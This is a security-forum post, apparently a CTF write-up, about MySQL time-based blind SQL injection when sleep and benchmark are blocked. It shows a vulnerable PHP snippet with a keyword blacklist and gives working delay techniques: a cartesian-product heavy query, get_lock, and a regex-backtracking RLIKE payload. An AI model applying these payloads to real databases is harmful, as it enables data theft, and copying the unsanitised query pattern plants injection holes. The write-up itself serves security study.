mysql 延时注入新思路

lorexxar / 2018-04-18 19:37:22 / 浏览数 4861 安全技术 CTF 顶(1) 踩(0)

在4月的pwnhub比赛中，我们遇到了一个比较神奇的问题，如果在注入中遇到需要延时注入的情况，但服务端过滤了我们一般使用的sleep和benchmark函数，这时候我们

这里可以代码看看

```
<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
   die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
   die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>
```

很明显$id没有任何过滤就拼接入了update语句，一般来说我们可以用延时盲注来获取数据。

一般我们会用sleep(5)或者是benchmark来多次执行md5操作来换取比较长的执行时间来替代延时。

那么是不是有别的方式替代呢？

笛卡儿积

https://blog.csdn.net/niexinming/article/details/52980140

这种方法又叫做heavy query，可以通过选定一个大表来做笛卡儿积，但这种方式执行时间会几何倍数的提升，在站比较大的情况下会造成几何倍数的效果，实际利用起来非常不好用。

```
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
+-----------+
| count(*)  |
+-----------+
| 267126336 |
+-----------+
1 row in set (9.87 sec)
```

在一个列数比较少的站内，可能需要3个表做笛卡尔积，延时已经是分钟级别的了

get_lock

这是一种比较神奇的利用技巧，延时是精确可控的，但问题在于并不是所有站都能实现。

https://zhuanlan.zhihu.com/p/35245598

get_lock的官方解释如下

```
GET_LOCK(str,timeout)

Tries
to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.
```

当我们锁定一个变量之后，另一个session再次包含这个变量就会产生延迟。

```
mysql> select get_lock('ddog',1);
+--------------------+
| get_lock('ddog',1) |
```

```
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)
```

换新的session

```
mysql> select get_lock('ddog',5);
+--------------------+
| get_lock('ddog',5) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (5.00 sec)
```

值得注意的是，利用场景是有条件限制的：需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。

正则bug

这是一个老生常谈的问题了，但之前可能很少会把它放到注入里讨论。

正则匹配在匹配较长字符串但自由度比较高的字符串时，会造成比较大的计算量，我们通过`rpad`或`repeat`构造长字符串，加以计算量大的pattern，通过控制字符串长度我

```
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-----------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-----------------------------------------------------------+
|                                                         0 |
+-----------------------------------------------------------+
1 row in set (5.22 sec)
```

ref

- https://blog.csdn.net/niexinming/article/details/52980140
- https://www.cdxy.me/?p=789

上一篇：基于机器学习的家用物联网设备DDoS检测 下一篇：Python反序列化漏洞的花式利用

1. 5 条回复

chybeta 2018-04-18 19:39:12

推荐一篇cdxy师傅的文章： https://www.cdxy.me/?p=789

0 回复Ta


小透明yo 2018-04-25 17:37:58

事实上最后哪个正则是不行的，返回时间为0.00sec

0 回复Ta


lorexxar 2018-05-13 23:32:20

@小透明yo 是有版本和后台的影响的，不是所有的都会有延时

0 回复Ta


p1g3 2019-07-16 15:55:11

之前在雨师傅博客看到这篇文章就不是很明白了，既然有了intval()，怎么注入呢？

0 回复Ta

p1g3 2019-07-16 15:56:45

@p1g3 是我的问题，没注意到后面还有一个查询。

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板